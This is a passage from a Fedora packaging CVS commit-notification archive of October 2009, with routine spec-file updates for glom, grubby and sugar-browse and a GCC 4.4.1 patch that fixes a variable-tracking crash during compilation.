+++ glom.spec	1 Oct 2009 08:02:47 -0000	1.38
@@ -19,6 +19,7 @@ BuildRequires:  python-devel
 BuildRequires:  gnome-python2-gda-devel >= 2.25.3
 BuildRequires:  gnome-vfsmm26-devel >= 2.11.1
 BuildRequires:  gtkmm24-devel >= 2.10
+BuildRequires:  gconfmm26-devel
 BuildRequires:  libxslt-devel >= 1.1.10
 BuildRequires:  pygtk2-devel >= 2.6
 BuildRequires:  iso-codes-devel



From jakub at fedoraproject.org  Thu Oct  1 08:07:34 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Thu,  1 Oct 2009 08:07:34 +0000 (UTC)
Subject: rpms/gcc/devel gcc44-vta-rh521991.patch, NONE, 1.1 .cvsignore, 1.295,
	1.296 gcc.spec, 1.74, 1.75 sources, 1.299, 1.300
Message-ID: <20091001080734.D99BF11C00C1@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/gcc/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2044

Modified Files:
	.cvsignore gcc.spec sources 
Added Files:
	gcc44-vta-rh521991.patch 
Log Message:
4.4.1-18

gcc44-vta-rh521991.patch:
 testsuite/gcc.dg/debug/vta-1.c |   35 +++++++++++++++++++++++++++++++++++
 tree-dfa.c                     |   26 ++++++++++++++++++++++++++
 tree-flow.h                    |    3 +++
 tree-into-ssa.c                |   31 +++++++++++++++++++++++++++++++
 tree-ssa-operands.c            |   19 ++++++++++++++++---
 5 files changed, 111 insertions(+), 3 deletions(-)

--- NEW FILE gcc44-vta-rh521991.patch ---
2009-09-30  Alexandre Oliva  <aoliva at redhat.com>

	* tree-dfa.c (referenced_var_p): New.
	(remove_referenced_var): Clear renaming mark.
	* tree-flow.h (referenced_var_p): Declare.
	(sym_marked_for_renaming, clear_mark_for_renaming): Declare.
	* tree-into-ssa.c (clear_mark_for_renaming): New.
	(sym_marked_for_renaming): New.
	* tree-ssa-operands.c (pop_stmt_changes): Reset debug stmts
	that reference otherwise-unreferenced variables.

	* gcc.dg/debug/vta-1.c: New.

--- gcc/tree-dfa.c.orig	2009-09-30 04:00:45.000000000 -0300
+++ gcc/tree-dfa.c	2009-09-30 04:01:21.000000000 -0300
@@ -639,6 +639,23 @@ set_default_def (tree var, tree def)
    SSA_NAME_IS_DEFAULT_DEF (def) = true;
 }
 
+/* Return TRUE if VAR is in the set of referenced variables.  */
+
+bool
+referenced_var_p (tree var)
+{
+  struct tree_decl_minimal in;
+
+  gcc_assert (DECL_P (var));
+
+  if (!gimple_referenced_vars (cfun))
+    return false;
+
+  in.uid = DECL_UID (var);
+  return htab_find_with_hash (gimple_referenced_vars (cfun), &in, in.uid)
+    != NULL;
+}
+
 /* Add VAR to the list of referenced variables if it isn't already there.  */
 
 bool
@@ -686,6 +703,15 @@ remove_referenced_var (tree var)
   void **loc;
   unsigned int uid = DECL_UID (var);
 
+  /* Symbols that decayed from addressable to gimple registers, but
+     that are referenced only in debug stmts, may be marked for
+     renaming, but renaming them would fail once they're no longer
+     referenced.  Let them rest in peace.  */
+  if (TREE_CODE (var) != SSA_NAME
+      && is_gimple_reg (var)
+      && sym_marked_for_renaming (var))
+    clear_mark_for_renaming (var);
+
   clear_call_clobbered (var);
   bitmap_clear_bit (gimple_call_used_vars (cfun), uid);
   if ((v_ann = var_ann (var)))
--- gcc/tree-flow.h.orig	2009-09-30 04:00:46.000000000 -0300
+++ gcc/tree-flow.h	2009-09-30 04:01:21.000000000 -0300
@@ -773,6 +773,7 @@ extern void dump_referenced_vars (FILE *
 extern void dump_variable (FILE *, tree);
 extern void debug_variable (tree);
 extern tree get_virtual_var (tree);
+extern bool referenced_var_p (tree);
 extern bool add_referenced_var (tree);
 extern void remove_referenced_var (tree);
 extern void mark_symbols_for_renaming (gimple);
@@ -889,7 +890,9 @@ bool name_registered_for_update_p (tree)
 bitmap ssa_names_to_replace (void);
 void release_ssa_name_after_update_ssa (tree);
 void compute_global_livein (bitmap, bitmap);
+bool sym_marked_for_renaming (tree);
 void mark_sym_for_renaming (tree);
+void clear_mark_for_renaming (tree);
 void mark_set_for_renaming (bitmap);
 tree get_current_def (tree);
 void set_current_def (tree, tree);
--- gcc/tree-into-ssa.c.orig	2009-09-30 04:00:45.000000000 -0300
+++ gcc/tree-into-ssa.c	2009-09-30 04:01:21.000000000 -0300
@@ -2874,6 +2874,37 @@ mark_sym_for_renaming (tree sym)
     }
 }
 
+/* Unregister symbol SYM to be renamed by update_ssa.  SYM must be a
+   gimple register.  */
+
+void
+clear_mark_for_renaming (tree sym)
+{
+  if (need_to_initialize_update_ssa_p)
+    return;
+
+  gcc_assert (is_gimple_reg (sym));
+
+  bitmap_clear_bit (syms_to_rename, DECL_UID (sym));
+
+  if (bitmap_empty_p (syms_to_rename))
+    BITMAP_FREE (syms_to_rename);
+}
+
+/* Return true if a symbol is marked for renaming.  This is an
+   exported interface for symbol_marked_for_renaming.  */
+
+bool
+sym_marked_for_renaming (tree sym)
+{
+  if (need_to_initialize_update_ssa_p)
+    return false;
+
+  if (!syms_to_rename)
+    return false;
+
+  return symbol_marked_for_renaming (sym);
+}
 
 /* Register all the symbols in SET to be renamed by update_ssa.  */
 
--- gcc/tree-ssa-operands.c.orig	2009-09-30 04:00:45.000000000 -0300
+++ gcc/tree-ssa-operands.c	2009-09-30 04:01:21.000000000 -0300
@@ -2716,9 +2716,22 @@ pop_stmt_changes (gimple *stmt_p)
   mark_difference_for_renaming (stores, buf->stores);
 
   /* Mark all the naked GIMPLE register operands for renaming.  */
-  FOR_EACH_SSA_TREE_OPERAND (op, stmt, iter, SSA_OP_DEF|SSA_OP_USE)
-    if (DECL_P (op))
-      mark_sym_for_renaming (op);
+  if (gimple_debug_bind_p (stmt))
+    {
+      FOR_EACH_SSA_TREE_OPERAND (op, stmt, iter, SSA_OP_DEF|SSA_OP_USE)
+	if (DECL_P (op) && !referenced_var_p (op))
+	  {
+	    gimple_debug_bind_reset_value (stmt);
+	    update_stmt (stmt);
+	    break;
+	  }
+    }
+  else
+    {
+      FOR_EACH_SSA_TREE_OPERAND (op, stmt, iter, SSA_OP_DEF|SSA_OP_USE)
+	if (DECL_P (op))
+	  mark_sym_for_renaming (op);
+    }
 
   /* FIXME, need to add more finalizers here.  Cleanup EH info,
      recompute invariants for address expressions, add
--- gcc/testsuite/gcc.dg/debug/vta-1.c	1970-01-01 00:00:00.000000000 +0000
+++ gcc/testsuite/gcc.dg/debug/vta-1.c	2009-09-30 04:01:21.000000000 -0300
@@ -0,0 +1,35 @@
+/* https://bugzilla.redhat.com/show_bug.cgi?id=521991#c5
+
+   Distilled from Linux XFS source code.  foo, inlined into bar, ends
+   up with debug stmts referencing the addressable variable b.
+   Optimization made it non-addressable, and then completely optimized
+   away, before we got a chance to rename (and discard) the occurrence
+   in the debug stmt.  When we did, we crashed, attempting to rename
+   an unreference variable.  */
+
+/* { dg-do compile } */
+/* { dg-options "-O2 -g" } */
+
+static inline int
+foo (void *x, unsigned y)
+{
+  unsigned z = *(unsigned long *) x % y;
+  *(unsigned long *) x = *(unsigned long *) x / y;
+  return z;
+}
+
+struct S
+{
+  unsigned t;
+};
+
+void
+bar (struct S *x, int *y)
+{
+  int a = 0;
+  unsigned long b = x->t;
+  foo (&b, x->t);
+  for (;; a++)
+    if (b)
+      *y = 1;
+}


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/devel/.cvsignore,v
retrieving revision 1.295
retrieving revision 1.296
diff -u -p -r1.295 -r1.296
--- .cvsignore	25 Sep 2009 15:02:34 -0000	1.295
+++ .cvsignore	1 Oct 2009 08:07:34 -0000	1.296
@@ -1,2 +1,2 @@
 fastjar-0.97.tar.gz
-gcc-4.4.1-20090925.tar.bz2
+gcc-4.4.1-20091001.tar.bz2


Index: gcc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/devel/gcc.spec,v
retrieving revision 1.74
retrieving revision 1.75
diff -u -p -r1.74 -r1.75
--- gcc.spec	25 Sep 2009 15:02:34 -0000	1.74
+++ gcc.spec	1 Oct 2009 08:07:34 -0000	1.75
@@ -1,9 +1,9 @@
-%global DATE 20090925
-%global SVNREV 152158
+%global DATE 20091001
+%global SVNREV 152364
 %global gcc_version 4.4.1
 # Note, gcc_release must be integer, if you want to add suffixes to
 # %{release}, append them after %{gcc_release} on Release: line.
-%global gcc_release 17
+%global gcc_release 18
 %global _unpackaged_files_terminate_build 0
 %global multilib_64_archs sparc64 ppc64 s390x x86_64
 %global include_gappletviewer 1
@@ -160,6 +160,7 @@ Patch16: gcc44-unwind-debug-hook.patch
 Patch17: gcc44-pr38757.patch
 Patch18: gcc44-libstdc++-docs.patch
 Patch19: gcc44-ppc64-aixdesc.patch
+Patch20: gcc44-vta-rh521991.patch
 
 Patch1000: fastjar-0.97-segfault.patch
 
@@ -466,6 +467,7 @@ which are required to compile with the G
 %patch18 -p0 -b .libstdc++-docs~
 %endif
 %patch19 -p0 -b .ppc64-aixdesc~
+%patch20 -p0 -b .vta-rh521991~
 
 # This testcase doesn't compile.
 rm libjava/testsuite/libjava.lang/PR35020*
@@ -1185,55 +1187,65 @@ rm -rf testlogs-%{_target_platform}-%{ve
 rm -rf %{buildroot}
 
 %post
-/sbin/install-info \
-  --info-dir=%{_infodir} %{_infodir}/gcc.info.gz || :
+if [ -f %{_infodir}/gcc.info.gz ]; then
+  /sbin/install-info \
+    --info-dir=%{_infodir} %{_infodir}/gcc.info.gz || :
+fi
 
 %preun
-if [ $1 = 0 ]; then
+if [ $1 = 0 -a -f %{_infodir}/gcc.info.gz ]; then
   /sbin/install-info --delete \
     --info-dir=%{_infodir} %{_infodir}/gcc.info.gz || :
 fi
 
 %post -n cpp
-/sbin/install-info \
-  --info-dir=%{_infodir} %{_infodir}/cpp.info.gz || :
+if [ -f %{_infodir}/cpp.info.gz ]; then
+  /sbin/install-info \
+    --info-dir=%{_infodir} %{_infodir}/cpp.info.gz || :
+fi
 
 %preun -n cpp
-if [ $1 = 0 ]; then
+if [ $1 = 0 -a -f %{_infodir}/cpp.info.gz ]; then
   /sbin/install-info --delete \
     --info-dir=%{_infodir} %{_infodir}/cpp.info.gz || :
 fi
 
 %post gfortran
-/sbin/install-info \
-  --info-dir=%{_infodir} %{_infodir}/gfortran.info.gz || :
+if [ -f %{_infodir}/gfortran.info.gz ]; then
+  /sbin/install-info \
+    --info-dir=%{_infodir} %{_infodir}/gfortran.info.gz || :
+fi
 
 %preun gfortran
-if [ $1 = 0 ]; then
+if [ $1 = 0 -a -f %{_infodir}/gfortran.info.gz ]; then
   /sbin/install-info --delete \
     --info-dir=%{_infodir} %{_infodir}/gfortran.info.gz || :
 fi
 
 %post java
+if [ -f %{_infodir}/gcj.info.gz ]; then
 /sbin/install-info \
   --info-dir=%{_infodir} %{_infodir}/gcj.info.gz || :
+fi
 
 %preun java
-if [ $1 = 0 ]; then
+if [ $1 = 0 -a -f %{_infodir}/gcj.info.gz ]; then
   /sbin/install-info --delete \
     --info-dir=%{_infodir} %{_infodir}/gcj.info.gz || :
 fi
 
 %post gnat
-/sbin/install-info \
-  --info-dir=%{_infodir} %{_infodir}/gnat_rm.info.gz || :
-/sbin/install-info \
-  --info-dir=%{_infodir} %{_infodir}/gnat_ugn.info.gz || :
-/sbin/install-info \
-  --info-dir=%{_infodir} %{_infodir}/gnat-style.info.gz || :
+if [ -f %{_infodir}/gnat_rm.info.gz ]; then
+  /sbin/install-info \
+    --info-dir=%{_infodir} %{_infodir}/gnat_rm.info.gz || :
+  /sbin/install-info \
+    --info-dir=%{_infodir} %{_infodir}/gnat_ugn.info.gz || :
+  /sbin/install-info \
+    --info-dir=%{_infodir} %{_infodir}/gnat-style.info.gz || :
+fi
 
 %preun gnat
-if [ $1 = 0 ]; then
+if [ $1 = 0 -a -f %{_infodir}/gnat_rm.info.gz ]; then
   /sbin/install-info --delete \
     --info-dir=%{_infodir} %{_infodir}/gnat_rm.info.gz || :
   /sbin/install-info --delete \
@@ -1257,13 +1269,15 @@ fi
 
 %post -n libgcj
 /sbin/ldconfig
-/sbin/install-info \
-  --info-dir=%{_infodir} %{_infodir}/cp-tools.info.gz || :
-/sbin/install-info \
-  --info-dir=%{_infodir} %{_infodir}/fastjar.info.gz || :
+if [ -f %{_infodir}/cp-tools.info.gz ]; then
+  /sbin/install-info \
+    --info-dir=%{_infodir} %{_infodir}/cp-tools.info.gz || :
+  /sbin/install-info \
+    --info-dir=%{_infodir} %{_infodir}/fastjar.info.gz || :
+fi
 
 %preun -n libgcj
-if [ $1 = 0 ]; then
+if [ $1 = 0 -a -f %{_infodir}/cp-tools.info.gz ]; then
   /sbin/install-info --delete \
     --info-dir=%{_infodir} %{_infodir}/cp-tools.info.gz || :
   /sbin/install-info --delete \
@@ -1282,11 +1296,13 @@ fi
 
 %post -n libgomp
 /sbin/ldconfig
-/sbin/install-info \
-  --info-dir=%{_infodir} %{_infodir}/libgomp.info.gz || :
+if [ -f %{_infodir}/libgomp.info.gz ]; then
+  /sbin/install-info \
+    --info-dir=%{_infodir} %{_infodir}/libgomp.info.gz || :
+fi
 
 %preun -n libgomp
-if [ $1 = 0 ]; then
+if [ $1 = 0 -a -f %{_infodir}/libgomp.info.gz ]; then
   /sbin/install-info --delete \
     --info-dir=%{_infodir} %{_infodir}/libgomp.info.gz || :
 fi
@@ -1354,7 +1370,7 @@ fi
 %{_prefix}/lib/gcc/%{gcc_target_platform}/%{gcc_version}/include/immintrin.h
 %{_prefix}/lib/gcc/%{gcc_target_platform}/%{gcc_version}/include/avxintrin.h
 %{_prefix}/lib/gcc/%{gcc_target_platform}/%{gcc_version}/include/x86intrin.h
-%{_prefix}/lib/gcc/%{gcc_target_platform}/%{gcc_version}/include/mmintrin-common.h
+%{_prefix}/lib/gcc/%{gcc_target_platform}/%{gcc_version}/include/fma4intrin.h
 %{_prefix}/lib/gcc/%{gcc_target_platform}/%{gcc_version}/include/mm_malloc.h
 %{_prefix}/lib/gcc/%{gcc_target_platform}/%{gcc_version}/include/mm3dnow.h
 %{_prefix}/lib/gcc/%{gcc_target_platform}/%{gcc_version}/include/cpuid.h
@@ -1821,6 +1837,16 @@ fi
 %doc rpm.doc/changelogs/libmudflap/ChangeLog*
 
 %changelog
+* Thu Oct  1 2009 Jakub Jelinek <jakub at redhat.com> 4.4.1-18
+- update from gcc-4_4-branch
+  - PRs ada/41100, target/22093
+- VTA backports
+  - PRs debug/41438, debug/41474, target/41279, testsuite/41444
+- fix VTA ICE on Linux kernel (#521991)
+- AMD Orochi -mfma4 support
+- don't run install-info if info files are missing because of --excludedocs
+  (#515921, #515960, #515962, #515965, #516000, #516008, #516014)
+
 * Fri Sep 25 2009 Jakub Jelinek <jakub at redhat.com> 4.4.1-17
 - update from gcc-4_4-branch
   - fix vectorizer for power7 (#463846)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/devel/sources,v
retrieving revision 1.299
retrieving revision 1.300
diff -u -p -r1.299 -r1.300
--- sources	25 Sep 2009 15:02:34 -0000	1.299
+++ sources	1 Oct 2009 08:07:34 -0000	1.300
@@ -1,2 +1,2 @@
 2659f09c2e43ef8b7d4406321753f1b2  fastjar-0.97.tar.gz
-fe01be0d467f7de14e7e8e169e52cf72  gcc-4.4.1-20090925.tar.bz2
+18fe22db9e055b13b9cc290f6cbbf1fa  gcc-4.4.1-20091001.tar.bz2



From denis at fedoraproject.org  Thu Oct  1 08:08:01 2009
From: denis at fedoraproject.org (Denis Leroy)
Date: Thu,  1 Oct 2009 08:08:01 +0000 (UTC)
Subject: rpms/glom/F-12 .cvsignore, 1.26, 1.27 glom.spec, 1.36, 1.37 sources,
	1.26, 1.27
Message-ID: <20091001080801.8FFC411C00C1@cvs1.fedora.phx.redhat.com>

Author: denis

Update of /cvs/pkgs/rpms/glom/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2178

Modified Files:
	.cvsignore glom.spec sources 
Log Message:
- Update to upstream 1.12.0
- BRs update, library versioning update



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/glom/F-12/.cvsignore,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- .cvsignore	25 Jun 2009 07:53:15 -0000	1.26
+++ .cvsignore	1 Oct 2009 08:08:00 -0000	1.27
@@ -1 +1 @@
-glom-1.10.1.tar.bz2
+glom-1.12.0.tar.bz2


Index: glom.spec
===================================================================
RCS file: /cvs/pkgs/rpms/glom/F-12/glom.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- glom.spec	25 Jul 2009 00:24:24 -0000	1.36
+++ glom.spec	1 Oct 2009 08:08:01 -0000	1.37
@@ -1,9 +1,9 @@
-%define major_version  1.10
-%define minor_version  1
+%define major_version  1.12
+%define minor_version  0
 
 Name:           glom
 Version:        %{major_version}.%{minor_version}
-Release:        2%{?dist}
+Release:        1%{?dist}
 Summary:        Easy-to-use database designer and user interface
 
 Group:          Applications/Databases
@@ -12,7 +12,6 @@ URL:            http://www.glom.org/
 Source0:        http://ftp.gnome.org/pub/GNOME/sources/glom/%{major_version}/%{name}-%{major_version}.%{minor_version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  bakery-devel >= 2.6.0
 BuildRequires:  desktop-file-utils gettext-devel intltool
 BuildRequires:  libgdamm-devel >= 3.99.14
 BuildRequires:  libxml++-devel >= 2.18.1
@@ -20,17 +19,18 @@ BuildRequires:  python-devel
 BuildRequires:  gnome-python2-gda-devel >= 2.25.3
 BuildRequires:  gnome-vfsmm26-devel >= 2.11.1
 BuildRequires:  gtkmm24-devel >= 2.10
+BuildRequires:  gconfmm26-devel
 BuildRequires:  libxslt-devel >= 1.1.10
 BuildRequires:  pygtk2-devel >= 2.6
 BuildRequires:  iso-codes-devel
 BuildRequires:  gnome-doc-utils
 BuildRequires:  scrollkeeper
 BuildRequires:  gtksourceviewmm-devel >= 2.0.0
-BuildRequires:  libgda-devel >= 4.0.1
+BuildRequires:  libgda-devel >= 4.0.4
 BuildRequires:  postgresql-server
 BuildRequires:  libgda-postgres-devel
 BuildRequires:  avahi-ui-devel
-BuildRequires:  goocanvasmm-devel >= 0.13.0
+BuildRequires:  goocanvasmm-devel >= 0.14.0
 BuildRequires:  libepc-devel
 
 # Glom curently only supports postgresql well and uses it by default.
@@ -87,7 +87,8 @@ that use the %{name} libraries.
         --disable-update-mime-database \
         --disable-scrollkeeper \
         --with-postgres-utils=/usr/bin \
-        --disable-sqlite
+        --disable-sqlite \
+	--docdir=%{_datadir}/%{name}/examples
 make %{?_smp_mflags}
 
 
@@ -97,11 +98,8 @@ make install DESTDIR=${RPM_BUILD_ROOT}
 %find_lang %{name}
 find $RPM_BUILD_ROOT -type f -name "*.la" -exec rm -f {} ';'
 
-rm -f ${RPM_BUILD_ROOT}%{_libdir}/libglom.so
-
 desktop-file-install --vendor "" --delete-original         \
   --dir ${RPM_BUILD_ROOT}%{_datadir}/applications          \
-  --add-category X-Fedora                                  \
   ${RPM_BUILD_ROOT}/usr/share/applications/%{name}.desktop
 
 
@@ -140,29 +138,32 @@ scrollkeeper-update -q || :
 %defattr(-,root,root,-)
 %doc AUTHORS COPYING ChangeLog NEWS README
 %{_bindir}/%{name}
-%{_libdir}/python?.?/site-packages/%{name}.so
+%{_libdir}/python?.?/site-packages/%{name}*.so
 %{_datadir}/%{name}/
 %{_datadir}/applications/%{name}.desktop
 %{_datadir}/gnome/help/%{name}
 %{_datadir}/icons/hicolor/*/apps/*
 %{_datadir}/mime/packages/%{name}.xml
-%{_datadir}/mime-info/*
 %{_datadir}/omf/%{name}
 
 
 %files libs
 %defattr(-,root,root,-)
-%{_libdir}/lib%{name}-1.0.so.*
+%{_libdir}/lib%{name}-%{major_version}.so.*
 
 
 %files devel
 %defattr(-,root,root,-)
-%{_includedir}/glom-1.0
-%{_libdir}/lib%{name}-1.0.so
+%{_includedir}/glom-%{major_version}
+%{_libdir}/lib%{name}-%{major_version}.so
 %{_libdir}/pkgconfig/*.pc
 
 
 %changelog
+* Sat Sep 26 2009 Denis Leroy <denis at poolshark.org> - 1.12.0-1
+- Update to upstream 1.12.0
+- BRs update, library versioning update
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.10.1-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/glom/F-12/sources,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- sources	25 Jun 2009 07:53:15 -0000	1.26
+++ sources	1 Oct 2009 08:08:01 -0000	1.27
@@ -1 +1 @@
-611a9cc73aadd1ff5fdc4dd81e240822  glom-1.10.1.tar.bz2
+c2a39caea867eb907302fc646e7e097b  glom-1.12.0.tar.bz2



From jwrdegoede at fedoraproject.org  Thu Oct  1 08:13:24 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Thu,  1 Oct 2009 08:13:24 +0000 (UTC)
Subject: rpms/grubby/devel .cvsignore, 1.10, 1.11 grubby.spec, 1.9,
	1.10 sources, 1.10, 1.11
Message-ID: <20091001081324.B04BE11C00C1@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/pkgs/rpms/grubby/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4117

Modified Files:
	.cvsignore grubby.spec sources 
Log Message:
* Thu Oct  1 2009 Hans de Goede <hdegoede at redhat.com> - 7.0.8-1
- Stop using nash



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/grubby/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	11 Sep 2009 20:12:49 -0000	1.10
+++ .cvsignore	1 Oct 2009 08:13:23 -0000	1.11
@@ -1,2 +1,2 @@
 clog
-grubby-7.0.7.tar.bz2
+grubby-7.0.8.tar.bz2


Index: grubby.spec
===================================================================
RCS file: /cvs/pkgs/rpms/grubby/devel/grubby.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- grubby.spec	11 Sep 2009 20:12:49 -0000	1.9
+++ grubby.spec	1 Oct 2009 08:13:23 -0000	1.10
@@ -1,5 +1,5 @@
 Name: grubby
-Version: 7.0.7
+Version: 7.0.8
 Release: 1%{?dist}
 Summary: Command line tool for updating bootloader configs
 Group: System Environment/Base
@@ -49,6 +49,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  1 2009 Hans de Goede <hdegoede at redhat.com> - 7.0.8-1
+- Stop using nash
+
 * Fri Sep 11 2009 Hans de Goede <hdegoede at redhat.com> - 7.0.7-1
 - Remove writing rd_plytheme=$theme to kernel args in dracut mode (hansg)
 - Add a couple of test cases for extra initrds (rstrode)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/grubby/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	11 Sep 2009 20:12:49 -0000	1.10
+++ sources	1 Oct 2009 08:13:23 -0000	1.11
@@ -1 +1 @@
-59bbe10b0843a43fe7762cb7e6e9bae7  grubby-7.0.7.tar.bz2
+17c3bda679f3a92f4e4c773e373e309e  grubby-7.0.8.tar.bz2



From jwrdegoede at fedoraproject.org  Thu Oct  1 08:14:27 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Thu,  1 Oct 2009 08:14:27 +0000 (UTC)
Subject: rpms/grubby/F-12 .cvsignore, 1.10, 1.11 grubby.spec, 1.9,
	1.10 sources, 1.10, 1.11
Message-ID: <20091001081427.646A111C00C1@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/pkgs/rpms/grubby/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4398

Modified Files:
	.cvsignore grubby.spec sources 
Log Message:
* Thu Oct  1 2009 Hans de Goede <hdegoede at redhat.com> - 7.0.8-1
- Stop using nash



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/grubby/F-12/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	11 Sep 2009 20:12:49 -0000	1.10
+++ .cvsignore	1 Oct 2009 08:14:27 -0000	1.11
@@ -1,2 +1,2 @@
 clog
-grubby-7.0.7.tar.bz2
+grubby-7.0.8.tar.bz2


Index: grubby.spec
===================================================================
RCS file: /cvs/pkgs/rpms/grubby/F-12/grubby.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- grubby.spec	11 Sep 2009 20:12:49 -0000	1.9
+++ grubby.spec	1 Oct 2009 08:14:27 -0000	1.10
@@ -1,5 +1,5 @@
 Name: grubby
-Version: 7.0.7
+Version: 7.0.8
 Release: 1%{?dist}
 Summary: Command line tool for updating bootloader configs
 Group: System Environment/Base
@@ -49,6 +49,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  1 2009 Hans de Goede <hdegoede at redhat.com> - 7.0.8-1
+- Stop using nash
+
 * Fri Sep 11 2009 Hans de Goede <hdegoede at redhat.com> - 7.0.7-1
 - Remove writing rd_plytheme=$theme to kernel args in dracut mode (hansg)
 - Add a couple of test cases for extra initrds (rstrode)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/grubby/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	11 Sep 2009 20:12:49 -0000	1.10
+++ sources	1 Oct 2009 08:14:27 -0000	1.11
@@ -1 +1 @@
-59bbe10b0843a43fe7762cb7e6e9bae7  grubby-7.0.7.tar.bz2
+17c3bda679f3a92f4e4c773e373e309e  grubby-7.0.8.tar.bz2



From erikos at fedoraproject.org  Thu Oct  1 08:18:38 2009
From: erikos at fedoraproject.org (Simon Schampijer)
Date: Thu,  1 Oct 2009 08:18:38 +0000 (UTC)
Subject: rpms/sugar-browse/F-12 .cvsignore, 1.9, 1.10 sources, 1.10,
	1.11 sugar-browse.spec, 1.20, 1.21
Message-ID: <20091001081838.ADE5411C00C1@cvs1.fedora.phx.redhat.com>

Author: erikos

Update of /cvs/pkgs/rpms/sugar-browse/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5943

Modified Files:
	.cvsignore sources sugar-browse.spec 
Log Message:
* Thu Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 113-1
- Better naming when uploading an entry #901 (Aleksey)
- Listen for mouseout event to popdown palette #1314
- Updated translations




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-browse/F-12/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	11 Sep 2009 13:18:24 -0000	1.9
+++ .cvsignore	1 Oct 2009 08:18:37 -0000	1.10
@@ -1 +1 @@
-Browse-112.tar.bz2
+Browse-113.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-browse/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	11 Sep 2009 13:18:24 -0000	1.10
+++ sources	1 Oct 2009 08:18:38 -0000	1.11
@@ -1 +1 @@
-0a8ff60a9b0fb5efcc650cc4be77500e  Browse-112.tar.bz2
+590268217c378c4162bfe05584ac8f5d  Browse-113.tar.bz2


Index: sugar-browse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-browse/F-12/sugar-browse.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sugar-browse.spec	11 Sep 2009 16:44:33 -0000	1.20
+++ sugar-browse.spec	1 Oct 2009 08:18:38 -0000	1.21
@@ -1,6 +1,6 @@
 Name: sugar-browse
-Version: 112
-Release: 2%{?dist}
+Version: 113
+Release: 1%{?dist}
 Summary: Browse activity for Sugar
 Group: Sugar/Activities
 License: GPLv2+
@@ -43,6 +43,11 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 113-1
+- Better naming when uploading an entry #901 (Aleksey)
+- Listen for mouseout event to popdown palette #1314
+- Updated translations
+
 * Fri Sep 11 2009 Simon Schampijer <simon at schampijer.de> - 112-2
 - add gettext build requirement
 



From jakub at fedoraproject.org  Thu Oct  1 08:19:34 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Thu,  1 Oct 2009 08:19:34 +0000 (UTC)
Subject: rpms/gcc/F-12 gcc44-vta-rh521991.patch, NONE, 1.1 .cvsignore, 1.295,
	1.296 gcc.spec, 1.74, 1.75 sources, 1.299, 1.300
Message-ID: <20091001081934.05ECC11C00C1@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/gcc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6491

Modified Files:
	.cvsignore gcc.spec sources 
Added Files:
	gcc44-vta-rh521991.patch 
Log Message:
4.4.1-18

gcc44-vta-rh521991.patch:
 testsuite/gcc.dg/debug/vta-1.c |   35 +++++++++++++++++++++++++++++++++++
 tree-dfa.c                     |   26 ++++++++++++++++++++++++++
 tree-flow.h                    |    3 +++
 tree-into-ssa.c                |   31 +++++++++++++++++++++++++++++++
 tree-ssa-operands.c            |   19 ++++++++++++++++---
 5 files changed, 111 insertions(+), 3 deletions(-)

--- NEW FILE gcc44-vta-rh521991.patch ---
2009-09-30  Alexandre Oliva  <aoliva at redhat.com>

	* tree-dfa.c (referenced_var_p): New.
